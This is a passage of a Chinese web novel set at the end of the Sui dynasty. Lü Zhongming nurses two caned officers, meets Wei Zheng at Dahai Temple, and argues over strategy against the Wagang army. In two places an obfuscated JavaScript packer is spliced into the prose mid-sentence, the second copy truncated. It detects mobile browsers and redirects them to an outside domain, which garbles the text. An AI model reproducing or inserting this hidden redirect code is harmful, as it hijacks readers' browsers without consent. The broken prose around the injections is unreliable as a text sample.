罗士信:“?” 罗士信也像吕仲明一样,躺着走神,眉毛动了动,望向秦琼。 “闵公说得对。”秦琼道:“暴君当政,百姓何辜?《无向辽东浪死歌》内说得很清楚了。田地荒芜,无人耕种,徭役苦重,颗粒无收。” 罗士信出了口气,翻身背对吕仲明与秦琼,侧躺着。吕仲明知道罗士信就像知道了自己的性命终数,一个人,在骤然知道自己还能活个两年,三年,又或者还有不到十天的性命时,定会大彻大悟,将从前的一切全盘推翻,迷茫而不知所措。他的内心正起着狂风暴雨,倒也不急在这一时,假以时日,定能想通。 吕仲明推推秦琼,以眼神示意,三人便不再谈此事。心思各异睡下,翌日起身时,吕仲明看见罗士信赤着上身,拿一棵树练拳,便迷迷糊糊道:“罗大哥。” “唔。”罗士信脸色依旧是一副生人勿近的模样,秦琼巡完军队,吃过早饭大家便带兵回荥阳,彼此都像是忘了昨夜的话。 沿途碰上了大量携家带口的百姓,都在朝东边赶路,罗士信跨在马上,问道:“发生什么事了?” 百姓们见是官兵,都现出一副唯唯诺诺,不敢多说的样子,吕仲明朝一名壮汉道:“你们是去投奔东边过来的瓦岗寨么?” 那拖着板车的壮汉脸色登时变了,忙摆手道:“不是不是!小的只是听说索河有人在派粮食……” “派粮?”罗士信眯起眼,犹如一只危险的野兽,冷冷道:“去领粮食,为什么还把全副家当带着?来人!给我抓起来!” 手下轰然应声,百姓们大哗,忙自奔跑,秦琼却道:“算了,赶路要紧。” 罗士信拍马要追,提着槊,最后犹豫片刻,冷哼一声,掉头赶往荥阳。 城内,吕仲明刚下马,未曾进内府,便听见里面传来剧烈的争吵声。 秦琼与罗士信在回禀祝阿县军情,吕仲明要进去,却看见里面秦琼背着手,一手轻轻摇了摇,示意他别进来。 吕仲明站在廊下,偷听里面对答,来者竟是朝廷特使,朝秦、罗二人怒吼。 “十万人反叛!最后只抓回来四百多人!剩下的都被你们吃了?!” “陛下问起来,要怎么交代?!” 吕仲明听得一肚子火,却只得强自按捺住,张须陀道:“有何难言之隐,自分说清楚。” 秦琼道:“城内俱是妇孺,卢明月不过是虚张声势,师父明鉴,真正的叛军,最终不足两万。” “还有一万九千六呢?”那朝廷派来的特使冷笑道。 罗士信勃然大怒道:“你是什么东西!说话给我当心点!” 特使也不是吃素的,怒道:“罗士信,你简直目无天子,无法无天!凭你这句话,你就得……” 张须陀道:“大人请息怒。” 秦琼一抱拳,罗士信却对那特使怒目而视,张须陀见罗士信还是一副不服管的模样,怒吼道:“来人!把他俩给我拖下去!军棍四十!” 吕仲明心中一惊,正要入内求情时,张须陀又喝道:“门外站的是谁!给我轰出去!” 吕仲明这才知道,原来张须陀早知自己在门外偷听,大声道:“手下留情,张将军……” 一句话未完,吕仲明便被捂了嘴,寻常兵士怎可能是他对手?吕仲明正要还手时,秦琼却道:“快出去!这里不是你说话的地方!” 连罗士信都隐忍不语,吕仲明只得不再开口,挣开士兵道:“我自己会走!” 吕仲明避到二门外,庭院里秦琼与罗士信脱了上衣,被士兵们八条木棍一架,呈“大”字型按在地上,军棍啪啪打下去,吕仲明听得肉痛无比,心里十分愤怒,脖颈一侧的卍字符文焕发出金光,力量仿佛要冲破符印而出。 不……现在不行……吕仲明深吸一口气,告诉自己不要冲动。 顷刻间四十棍打完,二人竟是哼也不哼一声,只听朝廷来使嘲笑道:“合该杀杀你们威风。” 张须陀脸色阴沉,那来使又道:“陛下特别吩咐,索河叛军,须得尽早平定。洛口粮仓,不容有失。” 张须陀道:“老头子谨遵吩咐。” 张须陀亲自送那朝中官员离开,出门时看了一眼吕仲明,吕仲明忙进去,见秦琼与罗士信被打得背上,大腿上全是血,骇然惨叫道:“不会吧——!怎么打成这样了!” “嘘。”秦琼咬牙示意,吕仲明忙叫来人,将秦琼与罗士信抬回房去。正要跟着去时,张须陀却回来了,瓮声道:“留步。” 吕仲明知道张须陀有话要问自己,秦琼却小声吩咐道:“气数天命的那些话,不可与师父说。” 吕仲明轻轻捏了下秦琼的手示意知道了,走进张须陀厅内。厅内只有张须陀与先前那名被罗士信揍了的,名唤王志阳的参赞。 张须陀先是问明战况,又问逃兵,吕仲明根据自己所知,一一答了,解释道:“是晚辈答应了闵公,保全百姓一事,没想到……” “不必多说。”张须陀道:“既领兵在外,想必陛下是信任老夫的。方才只是当着朝廷来使的面,不杖责他二人,无法交代。” 吕仲明松了口气,只是不爽秦琼与罗士信白挨了这顿打,张须陀又道:“荥阳之役非同小可,此役结束后,陛下会亲往巡军,秦琼已为你申明祝阿一役战功,到时候老夫会带你见陛下一面,此事也好有个了结。” 吕仲明嗯了声,点头,问道:“张老将军,咱们现在还有多少人?” 先前一路急行军,秦琼的兵又都是章丘一地的地方军,不可调离岗位,只带了上千人过来。张须陀虽是征讨大将军,却也手无兵权,只能到一个地方,征集一个地方的官兵抗匪,瓦岗大军以吕仲明所知,又是十万众,这十万人,可不比卢明月乌合之众,乃是隋末农民起义中最为强力的队伍之一。 然而张须陀道:“老夫已有破敌之计,不必小友担忧,这一战,秦琼与罗士信支援为宜,责后带伤在床,便请你代为照顾。” “张将军。”参赞附耳到张须陀身边,说了几句话。 吕仲明眼珠一转,想到张须陀之败,又想到索河,大海寺……荥阳,会不会就是这一场? “荥阳这里是不是有个……”吕仲明开口道。 张须陀问道:“怎么?” 参赞看着吕仲明,吕仲明又改变主意了,决定什么也不问,便抱拳道:“晚辈告退。” 当天午后,一轮烈日烤着大地。 “啊——”秦琼大叫道。 吕仲明一脸不忍卒睹,用剪刀小心剪开秦琼衬裤。 罗士信怒道:“别叫了!” 秦琼道:“仲明……你剪刀……” “戳,戳到屁股了吗?”吕仲明的手不住发抖,忙碎碎念道:“对不起对不起……不小心的。” 军棍打下去非常狠,先把大腿,屁/股打得淤青,再打出血来,吕仲明先是剪了秦琼裤子,又去剪罗士信裤子,两人自背脊到臀部,再到大腿,尽数一片青紫。 “怎么办?”吕仲明拿了跌打药膏,颇有点无处下手的感觉,从来都是别人伺候他,没有他照顾别人的道理。 “你不是……仙人吗?”秦琼咬牙道:“有没有什么好得快点的仙药?” 吕仲明道:“我知道怎么炼,可是没有药材啊!” “丁香膏不行……”罗士信道:“拿……金疮药来。” “别了……”秦琼道:“不是……刀伤,一屁/股淤青……上金疮药……” “散不了血气。”吕仲明多少还是知道一点的,说:“只愈合皮外伤没用,军中就没有治跌打的吗?” “你手里那个就是……”秦琼道:“别废话了!上药吧!” 吕仲明把丁香膏打开,满满的都是刺鼻辛辣气味,刚要上药,秦琼便道:“先给罗成……抹药。” “那……”吕仲明同情道:“你先看看他反应,好有个心理准备。”于是过去走到罗士信身边,罗士信大叫道:“叔宝!你不厚道!” 吕仲明道:“朝……哪里抹?” “随便吧!”罗士信壮烈道:“快点!” 于是吕仲明把药膏朝罗士信腿上一按,罗士信又是惨烈的一声大叫。 吕仲明:“……” 丁香膏碰到伤口,消毒效果立竿见影,却也痛得人能寻死觅活,吕仲明手指都有疼辣感,不敢给罗士信涂多了,便朝他屁/股上抹。 “你在朝哪里涂!”罗士信愤怒道。 秦琼忍不住哈哈大笑,吕仲明把膏药随手抹在罗士信臀部上,叫道:“我看不下去了!你们等我会!我去买药!”说着就去翻秦琼的抽屉找钱。 “你别就这么走了!”罗士信嚷嚷道。 秦琼道:“回来!先把被子给你哥哥们盖上!” 吕仲明拿了钱已经跑了,罗士信只觉臀/部火辣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563116|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣的,膏药还顺着朝股/沟里流,简直要疯了,秦琼又是忍不住捶床,笑得上气不接下气。 话说吕仲明出来,在荥阳城里找药铺,半天却没找着一家,瓦岗军作乱,百姓十去九空。城中萧条,太阳又毒辣,吕仲明顶着大日头跑了几条街,问过一老妪,老妪便指他去大海寺。 “大海寺?”吕仲明想起来了。 “十里路。”老妪颤巍巍道:“去找善无畏,善无畏有个药园,给咱们百姓救苦救难,就不知道他还在不在……” 吕仲明问明路便朝东北走,老妪又在身后道:“一年不如一年了……” 三伏天,地上被烤得滚烫,吕仲明一边走,一边心想要用什么药材配才好,又想到一旦瓦岗军进犯,荥阳就危险了,到时候也不知道该怎么办……隋军一旦失利,带罗士信与秦琼走么? 他们会不会跟着自己走?就怕都不愿意走,要给张须陀报仇,那当年他们是怎么走的? 足足走了一下午,吕仲明既热又渴,沿途两道光秃秃的,剩点树桩,都被官兵砍了去烧火,真正的是满目荒地。只有依河一侧有一座破烂寺庙,庙后的河水哗啦啦地响。 吕仲明喝了几口河水,抹了把嘴,喊道:“有人吗?” 庙门掩着,上了把锈迹斑斑的铜锁。吕仲明推了推,钻不过门缝去,便绕着黄墙走了几步,纵身一跃,上了墙头,又翻下来。 庙内有一小片花圃,吕仲明一见之下便道:“太好了!” 花圃内种着不少三七,那是活血化瘀的良药,然而主人却不在家,吕仲明又喊了几声,心道罗士信的屁/股要紧,顾不得等人回来了。先挖几棵,再留几个字,改天再登门道谢。 正躬身要挖时,背后忽然响起一个声音,笑吟吟道:“这位公子,不问自取,是为贼也,这道理都不懂?” 吕仲明直起身,回头一看,见来了两个人,一人身穿粗布衣裳,是个道士,另一个却是名身穿青衣的书生,吓了一跳,定了定神,说:“来者何人?” 书生打量吕仲明,眼中带着笑意,吕仲明贸贸然来偷药,又是偷对家佛门的药,心虚不已,见二人都是不是僧人,便不甚在意,也朝他们笑笑,互相打量。 道士二十出头,一脸风霜之色,皮肤粗糙,像是弃锄修道的耕者,是个凡人人。想必也是来求药的,然而书生……吕仲明却看不出书生底细。只见这书生肤色白皙,容貌俊秀,眉目间又带着淡淡的亲切之意,二十岁上下,虽是在调侃吕仲明,却令他心生好感。 “花鸟虫鱼,飞禽走兽,凡间生灵,俱是天地一体。”吕仲明笑道:“无我无非我之分,我的手拈了根我的头发,手又怎么能算是贼?” 道士笑道:“说得好。终于碰上个能与善老弟一较机锋的人了。” 书生一哂,随口道:“找什么药?” “化瘀活血的三七。”吕仲明一本正经道:“这庙里主人什么时候归来?待他回来后我再求药罢了。” “摘吧。”书生道:“慈云大师是我老友,种药就是为的救治百姓。” 吕仲明想了想,便摘了几棵,拢在袖中,书生道:“不赶的话进来喝杯茶如何?” 吕仲明心道我俩哥们还一屁/股血淋淋地趴在床上,就先不喝了罢,然而还没说出口,却见那书生带着期待的神色,似乎有话想与他说,便只得点头,跟着书生进庙宇里去。 破庙内尽是蛛网,昏暗的阳光从破洞内投射出来,照在佛像脸上,那佛像以沙白石铸成,久经岁月,已布满灰尘,然而慈祥面孔,却看得吕仲明心中一震。 那道士问明情况,吕仲明对身穿道袍的人还是很有好感的,一见之下便将其划为自家人。 当然,张须陀的部队乃是官兵,现在又是来剿匪的,说太多万一泄密很危险,吕仲明便随口胡诌了个缘由,告知那道士,自己有两名朋友,被恶霸欺凌辱虐,挨了棍打,正在为他们寻药,道士听过后便建议道:“暑气攻心,调和三七后,还须以乌梅汤灌下,否则皮肉伤毒淤积体内,难以排解。” “对。”吕仲明有点意外,这二人看上去都对医道知之实多,便道:“在下吕仲明,未曾请教阁下高姓大名?” “魏征。”那道士礼貌道:“这是我故交好友,善无畏大师。” 吕仲明:“……” 魏征……魏征,这个魏征,就是那个魏征?吕仲明知道这号人物,魏征先投瓦岗寨,后跟随李建成充当洗马官,玄武门之变后,从李世民。在太子李建成帐下时,魏征不止一次建议李建成先下手为强,收拾李世民。 然而李建成没有听魏征的,死在李世民手下后,李世民开始翻旧账,找到魏征,魏征却理所当然道各为其主,当初太子早听我一言,何至有今日? 李世民大笑三声后,不仅没有降罪,反而重用了魏征。 如果就是面前的这个人,那么他现在还不知道未来的处境,应当是在瓦岗寨里,投奔李密。吕仲明不由得心生警惕。 吕仲明没有显露太多表情,寻思那书生又是什么身份,方才魏征介绍那是善无畏,在城里他也听百姓说了,住在这庙里的就是善无畏,想是此间熟客。然而庙中住持又不是他。 既然与魏征这修道之人在一起,想必该不是敌人才对,吕仲明想到此处,看了善无畏一眼。善无畏道:“我去找些解暑之物给你。” 吕仲明笑道:“大恩不言谢。” 书生进了后间,吕仲明满腹疑问,又不能提,便站着看那佛像,看看魏征,问:“这位是……” “观自在菩萨。”道士解释道:“千手千眼,千眼遍观世间一切法,一切苦,千手照拂众生。” “大慈大悲观自在。”吕仲明道。 观自在那脸庞充满慈祥,十分自在,吕仲明心里却是不太自在,这次回来,明明是要找佛教麻烦的,反倒是受了佛教恩惠,跑进来在观自在眼皮底下偷草药…… 魏征又道:“小友是何方人士?作何营生?” “胸无大志。”吕仲明一哂道:“成日跟着朋友厮混,没什么正经营生。” 魏征哂道:“说笑了,小友不似寻常村野之人,想必家世显赫,若不想说,告知不愿说就是,这么搪塞,却把魏征也看得小了。” 吕仲明正色道:“不瞒兄台说,如今流落世间,倒当真是如此,菩萨面前不打诳语。” 9. 第八回:夜战 魏征一楞,继而若有所思点头,又道:“莫怪我多管闲事,如今天下大乱,隋家气数将尽,小友若想寻一处去,不如我修书一封,荐你瓦岗军去。” 说话间善无畏回来了,三人便在庙内席地而坐,善无畏递给吕仲明一包药材,内里是乌梅,甘草,还有牛膝等药材,吕仲明便朝怀中收好,也不好白拿,但看善无畏又不像要钱的人,便掏出铜钱,看也不看,手指连着数弹,铮铮铮铮一连数十声,铜钱犹如排着队般,一个接一个落进香油箱里,声音悦耳,叮当作响。 魏征大叫一声好,道:“看不出小友还身怀绝技!” 吕仲明笑道:“只会这一手。” 吕仲明知道瓦岗军迟早也得败亡,上下不齐心,是瓦岗政权内最大的弊病,没打算去,也没打算像秦琼那样,为隋朝效命。未来之途怎么走,也不愿受人左右,正寻思要如何婉拒魏征时,只听善无畏道:“你荐他往瓦岗去,只怕不行。” 魏征询问地看着善无畏,善无畏道:“瓦岗有李密在,一山不容二虎,教他如何安身?” 吕仲明没想到善无畏对他评价这么高,忙谦让道:“善先生过奖了。” 魏征叹了口气,无奈道:“翟让只是想让弟兄们活下去,李密……应当不会在瓦岗久留。” “李密很聪明么?”吕仲明问道。 善无畏笑了笑,魏征放下杯,答道:“是,不过不是想荐你往瓦岗见李密,而是翟大哥。” 吕仲明欣然道:“翟让,久闻盛名,那就请魏兄为我修书一封。” 魏征取了炭条,找了张牛皮纸,边写边道:“实话说,我也不知是否该在瓦岗待下去,大军眼下已逼近荥阳,心中难以抉择,是以出来走走,寻访老友善无畏。” “除了瓦岗军。”善无畏道:“天下还有何处是容身之所?” 吕仲明道:“天大地大,自然多的是地方可去。” 魏征一哂道:“但能让一个人安身立命之处,恐怕是不多。” 吕仲明看着善无畏,发现他也在沉吟,说来奇怪,自己不过是第一天认识这两人,却奇异的,仿佛十分熟稔,就像是多年相交的老友一番。或许这就是父亲麒麟说的,有识之士碰在一起时,许多话几乎是心照不宣,谁也不必多怀疑彼此。 “世间分久必合,合久必分,乱局乃成后,自然会有天降大任之人出面收拾。”吕仲明笑道:“中原历经多年分崩离析,南北两朝归于隋,隋一统江山后,不过两代,魏兄若担心再经一次三国割据的局面,则大可不必。” 魏征写完荐信,笑了笑,仿佛在咀嚼吕仲明话中之意,喃喃道:“自该有人出面收拾乱局。” “李密却不是那个人。”吕仲明喝了口乌梅汤,沉吟片刻后朝二人道:“李密虽出身显赫,足智多谋,其人也饱受困苦,然而他为人太执着,聪明的人,也容易一意孤行。自杨玄感落败后,此人便投投走走,一连数家,有野心,却无胸襟。瓦岗军实则只是他称霸的一个工具而以。” 魏征诧异地看着吕仲明,不由得对他刮目相看。 善无畏道:“那么依吕公子所见,如今天下,谁才是那个人?” “未曾显现。”吕仲明自然不可能去说未曾发生的秦王之事,毕竟现在局势,李渊一派还未崛起,只是又喝了口乌梅汤,悠然道:“但要找这么一个真命天子,就要看他为什么争霸。是为了雄图大业,还是为了天下百姓。” “说的是。”魏征顷刻思索后便道:“本想荐小友前往瓦岗,为治世尽一份力,如今看来,小友目光长远,不在各路英杰之下,倒是我……”魏征说完以后笑笑,就要将那张纸撕了。 吕仲明忙制住魏征动作,笑道:“不妨不妨,给我,说不定有用得上的地方。来日若有闲,正想去见李密一面。” 李密野心很大,也非常警惕,魏征又谈起瓦岗军的现状,吕仲明便渐渐得知,李密已逐渐进入瓦岗的权力中心,并逐渐架空了一手创立瓦岗的首领:翟让。三人说了几句,善无畏又道:“李密此人,只怕走不了多远。” “嗯。”吕仲明点头道。 “天命?时运?”魏征感慨笑道:“他自己倒是相信,天命在他身上。桃李子……皇后绕扬州……婉转花园里。” 吕仲明知道这是乱世之间的歌谣,杨氏当灭,李氏将兴,然而兴的却不是李密,而是另有其人,便笑道:“天命一词,大多虚无缥缈,我倒是觉得,什么人,注定了便是什么命,所谓性情决定命运,大抵如此。” 善无畏道:“吕公子,此话我们随口说说也就罢了,出去不必当真。” 吕仲明点头道:“这是自然。” 魏征又道:“听闻杨广讨伐高丽时,天降异兆,瑞兽降世,足保大隋千年国运,也不知是真是假。” 吕仲明笑道:“他素来尊佛,咱们道家这一套,他应当是不信的。” 魏征略觉诧异,问道:“小友也是修道之人?” 吕仲明随口一说,便也不隐瞒,点了点头,说:“家父修道。” 善无畏道:“仙山何处?” 吕仲明答道:“云游四海,居无定所。” 魏征笑道:“如今咱们道门式微,佛寺林立,要弘扬道法,只怕是难了。” 善无畏笑道:“佛道虽说不同源,实际上都是普渡众生,为救百姓脱离苦海,又有甚么区别?” “区别可就大了!”吕仲明道。 魏征一拍大腿,笑道:“你不懂的。” 说毕魏征又与吕仲明交换了个眼色,两人笑吟吟的,赫然将善无畏给排除在外。 善无畏笑道:“你们道门中,若神仙老祖都还在,为何不照拂着徒子徒孙们些?” 魏征答道:“清静无为,顺应天道则以。” 善无畏那话似是随口一说,吕仲明却猛然意识到了什么——佛教自南北朝大规模传入中原,至今已有数百年,道门的金仙呢?如果元始天尊还在,怎么会坐视不管,轮到灵宝天尊从后世把自己派过来查问? 吕仲明脸色有异,善无畏看出来了,问道:“怎么?吕公子?” 吕仲明蓦然回过神,魏征见他脸色不太好看,问道:“是暑气闷着了?” “没有。”吕仲明笑笑,朝外面看了一眼,见三人谈天说地,竟是聊了快两个时辰,外头已日渐西斜,遂道:“时间不早了,两位哥哥还等着我的药,先走一步了。” 善无畏会意,起身,魏征道:“今日与小友所谈,获益良多,魏某也得回去了。” 善无畏便起身送客,吕仲明微觉意外,问道:“善先生就住在这里?” “还有使命在身。”善无畏笑道:“须得在荥阳待一段时日,仲明若平日无事,可随时到大海寺来。” 吕仲明知道那是客气话,但善无畏改了称呼,由“吕公子”改为“仲明”,听起来倒是十分受用,便与他拱手道别,魏征又问:“老友,你在这破庙里呆着做什么?” 善无畏答道:“我奉命来此处渡一个人。” 魏征若不多那句嘴,吕仲明便要走了,然而听到这话,心里隐约生出警惕,问道:“先生也是佛家人?要渡谁出家?” 善无畏一笑置之,答道:“渡有缘之人。自然不是你。” 善无畏双手合十,吕仲明看见善无畏的手腕上,有一串小叶紫檀的念珠,这才知道原来善无畏也是佛门中人。 说这句话时,善无畏面容,五官彷如笼着一层柔光,声音听在耳畔,竟是有种安详之感,夕阳如金,大海寺外索河流水带着金鳞,哗啦啦地流淌而去。 “告辞。”吕仲明不再多问,与魏征出来。心里一直思索着善无畏说的话,此人身份神秘,忍不住问道:“魏兄,善先生他是佛家子弟?” 魏征哂道:“他从小跟着一位高僧云游,没剃度也不出家,不知道算什么,俗家弟子罢。” 吕仲明嗯了声,与魏征站在河畔码头上,魏征道:“魏某渡河过对岸去了,小友多保重,后会有期。” 吕仲明笑道:“兴许过不了多久,咱们就会在瓦岗军中见面的。” 魏征笑道:“但愿如你所言!” 说毕,魏征上了摆渡的舢板,在一片流金般的河水中,驰向对岸地界。 吕仲明回到府中时已是傍晚时分,研磨了药粉,调和后先给罗士信敷上,罗士信终于松了口气。那三七活血膏触体清凉,颇有奇效,敷上不到一刻钟,淤紫肌肤便即好转。吕仲明又煎了一副散暑气的药,给二人喝下。 秦琼道:“哪儿找来的药?” “观自在大士给的。”吕仲明随口答道,说这句话时,不知为何又想起了善无畏。 “方才你出去时,师父来过一次。”罗士信说。 吕仲明:“哦?说的什么?” “问你来历。”秦琼趴在榻上道:“我们都说不知。” 吕仲明点点头,少顷士兵送饭进来,三人就在房里吃了,罗、秦不能下地,更不能坐着,吕仲明便只得把饭盛好,放到他们面前,事无巨细,一律躬亲伺候。 罗士信还哼哼唧唧地装疼,要让吕仲明喂,吕仲明吃人的住人的,只得喂了,看罗士信这模样,还不知道要喂个多久……伤筋动骨一百天,被打成这样,想必没两三个月,也出不了战了。 当夜两个伤员直挺挺地趴着,吕仲明看看秦琼,又看罗士信,两人一人一张床,自己不知道睡何处,吕仲明正要打个地铺睡时,罗士信便朝里挪了挪,说:“来。” 秦琼笑道:“别听他的,来我这睡。” 罗士信冷冷道:“到我铺上来。” 秦琼:“仔细他把你那个了,他憋得快不行了。” 吕仲明:“……” 罗士信一扬眉道:“来不来?” 吕仲明尴尬得要死,罗士信道:“我要发火了。” 吕仲明只得乖乖爬到罗士信铺上去,在他身边躺下,罗士信还将薄被让了他一半,两人盖着同个被子。秦琼不住好笑,翻身睡下。 夜间熄了灯,三人却全无睡意,罗士信道:“仲明,你家住何处?” “金鳌岛。”吕仲明低声道。 秦琼道:“金鳌岛,在哪座仙山?” 吕仲明知道这两位朋友,对他的来历都有点好奇,却是发自关心的好奇,绝非冒昧打听消息,经历了一次同生共死,大家打过仗,当过战友,能感觉的到罗士信与秦琼对他的态度已经不一样了,自己也没必要完全瞒着。 “是一个修道人居住的地方。”吕仲明解释道:“我爹,我……娘,祖师爷爷,整个门派都住在那个地方。” 吕仲明没有母亲,只有父亲,但认真说起来也差不多,便约略解释了下从小到大的事。自两汉至五胡十六国,修道之人在人间活动已趋频繁,南朝时葛洪便作《神仙传》,陶弘景著《寻山志》,是以市井之人口耳相传,早已不奇怪。 罗士信又问:“你会仙术?怎么不见你用过?” 吕仲明没有告诉他自己被佛家封印的事,便道:“我来时一身仙术全倚仗一件法宝,是我爹给的,但法宝丢了。” 罗士信:“怎的这般大意?法宝也能丢?丢在何处了?” 秦琼安慰道:“待伤好了,包你两位哥哥身上,去给你找了来就是。” 吕仲明惴惴道:“被杨广抢走了。” 半晌,秦琼与罗士信不吭声,罗士信道:“也是有办法的,你不用着急。” 吕仲明安慰道:“这事不必替我担心,我会设法解决,罗大哥,你呢?家人还健在不?” “都死了。”罗士信淡淡答道:“我与叔宝是同乡,那年饥荒,民不聊生,流寇作乱,我在黎阳学艺,回来后家里被流寇洗劫一空,妹妹,爹娘,都被杀了。我一恨之下,也杀了不少人,犯了大罪,后来逃到张老将军营中,叔宝收留了我,师父便让我上阵杀人。不是我爱杀人,我只会杀人,我就是为报仇才活着,不杀人,我要做什么?” 吕仲明道:“杀了这么多叛军,也已经报仇了罢,就别再想了。” 罗士信没有回答,吕仲明笑笑。 “人死后,会下地府么?”秦琼忽然问道。 “嗯……”吕仲明被这句给问住了,理论上是有的,人死后会转世投胎,但实际上谁也不知道,地府是怎么个样子,灵宝天尊也从未提过。但是想到地藏菩萨说的“地狱不空,誓不成佛”,人死后应当是有魂的。 “算有罢。”吕仲明道:“我不知道,但应当是有一个归处的。” 罗士信轻描淡写道:“像我这种人,满手血腥,待得死了,自然是要下地狱的。” 秦琼又饶有趣味地问道:“仙人是不是永远不死?” “不死不太可能。”吕仲明答道:“仙人也会死,生死轮转,乃是天道。仙人只是寿命比一般人都要长而已,连天地的寿命都会有尽头,何况众生?” 正说这话时,刹那间天顶一声炸雷,震得夜空隆隆作响,三人一同色变,吕仲明暗忖似乎说错话了,便缄默不敢再提。 片刻后,大雨哗啦啦地吓了起来,将连日暑气一扫而空。吕仲明躺在铺上,只觉非常舒服,渐渐地入睡了。 翌日起来后,秦琼与罗士信二人还是只能趴着,从这天起,吕仲明便开始照顾他们,白日里无事,便在房中看书,罗士信识字不多,吕仲明一边看书,一边教他识字。 除此之外,一日两顿,都是吕仲明打点,初时几天,吕仲明还要打水来帮他俩擦身。秦琼还好,穿着一身薄衣白裤,罗士信则反正没人进来,房里三人都是男人,便索性□□着。 秦琼偶尔还会回避一下,罗士信却是理所当然的,吃喝拉撒,都让吕仲明包办。 如此一连过了将近半月,张须陀不再过来看两个徒弟,然而军报却会送过来,让二人过目,秦琼大致说了看法后,便由吕仲明批注,送到张须陀处去。渐渐的,吕仲明也对局势有了自己的看法。 然而军情一日比一日紧急,李密率领瓦岗军,即将朝荥阳发起总攻。张须陀手下只有不到五千人,而朝廷一封接一封的命令下来,催促张须陀尽快发兵。 “这个时候发兵,无疑是自寻死路。”吕仲明朝秦琼与罗士信二人道:“敌人有足足十万,我方只有五千……” “现在的军队,动不动就是号称十万。”罗士信嘲笑道:“你看卢明月那队人,还不是被打得哭爹叫娘的?” “那不一样。”吕仲明色变道:“对手可是李密,李密小时候是跟着杨素学读书的,卢明月,王薄等人是农民,李密可不同,他是会打仗的。” 秦琼面带忧色,答道:“只能拖了,按师父的意思呢?” 罗士信道:“伤也好得差不多了,不如你我向师父请战,各带一千兵,让仲明驰援,把瓦岗一锅端了。” 吕仲明道:“敌人一定有计策。相信我,这次的对手不是游兵散勇,不好对付。” 这一天吕仲明又去张须陀厅内时,听到那参赞与张须陀的激烈争吵,张须陀被气得满脸通红,朝参赞怒吼道:“老夫为陛下打了三十年,何曾有惧过敌的时候?” 王志阳道:“老将军,眼下瓦岗军已在索河一处陈兵,翟让马上就要渡过荥阳,若不早日将其击退,前往投奔瓦岗的乱民只会越来越多,敌涨我消,您还在等什么?” 吕仲明道:“此时绝不能出兵!” 一语出,张须陀与王志阳才注意到吕仲明来了,王志阳冷笑道:“大胆!这里有你说话的地方?” 吕仲明不理他,径直朝张须陀说:“只要将军坐镇荥阳,李密就绝不敢攻来。他的目标是荥阳背后的洛口粮仓,取荥阳,不过是权宜之计。这一仗对他来说,可打可不打。只要拖上一段时间,李密势必将绕过荥阳,前取洛口。” 王志阳色变道:“你这是什么意思?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“老将军若不愿采取此计,晚辈还有一计。”吕仲明道:“派三路兵马:第一路,由罗将军领一千兵,老将军再假装打他一顿,不过这次就……别动真格的了,让他施苦肉计,佯装投敌。第二路,秦将军于大海寺旁树林中埋伏。第三路,晚辈带兵,前往搦战。待对方出战后,秦琼发动伏击,罗士信在对方军阵中里应外合,敌军可退。” “秦琼,罗士信不宜出战。”王志阳却冷冷道:“祝阿城中一战时,罗士信放跑了叛军,其中缘由还未调查清楚,此刻就不怕他假戏真做,当真投敌了?根据我方情报,秦琼还有一名至交好友,在敌人营中,两军对垒时,秦将军会不会倒戈都难说,你还派人去诈降?待会诈降变真降,你就笑不出来了。” “你!”吕仲明闻言大怒道:“你这是公报私仇!” 王志阳道:“你有何资格在此说三道四,唾沫横飞?张将军,罗士信此人性情狡诈,不可轻信,妄自尊大,无法无天!陛下不日间就要亲来巡营,朝廷特使嘱咐过,陛下未曾开口,不可再让此人出战!还有,吕仲明,你是朝廷钦犯,先顾好你再说罢!” 吕仲明没想到王志阳竟敢当着张须陀的面说出这等话,然而转念一想,登时明白了许多事:罗士信与秦琼饶过了祝阿的无辜者,没有胡乱将老百姓抓去朝廷邀功请赏,此举定是令朝廷来使十分不悦。 张须陀打了他们四十军棍,名为责罚,实是保护,此时二人确实不宜出战。 吕仲明无可奈何,只得道:“我明白了。” 张须陀寻思片刻,而后道:“待老夫再想想。” 王志阳道:“张将军,时机不等人,此处战局已拖了将近一个月,陛下问起来,没法交代。” 吕仲明悻悻告退,窝了一肚子火,回去朝秦琼二人一说,罗士信马上起身,要提刀去将王志阳砍了。吕仲明登时大惊,忙好说歹说劝住。秦琼道:“不可冲动,一切听师父的安排!” 就在这时,张须陀来了,不问两名徒弟伤势,却直接找到吕仲明,秦琼与吕仲明交换了个眼色,吕仲明会意,跟着张须陀到院子里去。 二人隔着窗格,在房内听对话。 张须陀道:“你先前所言乃是良计,这样,安排稍加改动,陛下亲下御旨,不能再拖,今日必须动身前往剿匪。派人埋伏,是赶不上了。士信与叔宝不能出战,便由你带一队兵,赶往大海寺后设伏,以接应老夫。” 吕仲明道:“一定要今日开战么?” 张须陀点头,不语。 罗士信要出外请战,却被秦琼拉住,秦琼摇头,示意有话待会再说。 吕仲明道:“就算落败,也在所不惜?” 张须陀一笑,负手而立,答道:“老夫戎马倥偬三十余载,何曾打过必胜之仗?身为臣子,陛下让你战,你就只能出战,尽力一战,死而无憾。” 吕仲明只得点头,以自己所知,这一仗绝对是输多赢少……但既然箭在弦上,不得不发,便只得跟着张须陀出战了。只希望落败,张须陀不要丢了性命,这样也好给秦琼他们一个交代。 当天午后,张须陀便点兵,整兵出发,吕仲明回房去找二人,却发现两人都不在了。 吕仲明只得留下一张纸条,告诉秦琼不必担心,自己定会想方设法,护得张须陀周全。 及至行军离开荥阳,一路上吕仲明都未与张须陀交谈一言半语,到分兵之时,张须陀便朝吕仲明道:“若无追兵前来,不可贸然出战,一定要沉得住气。” 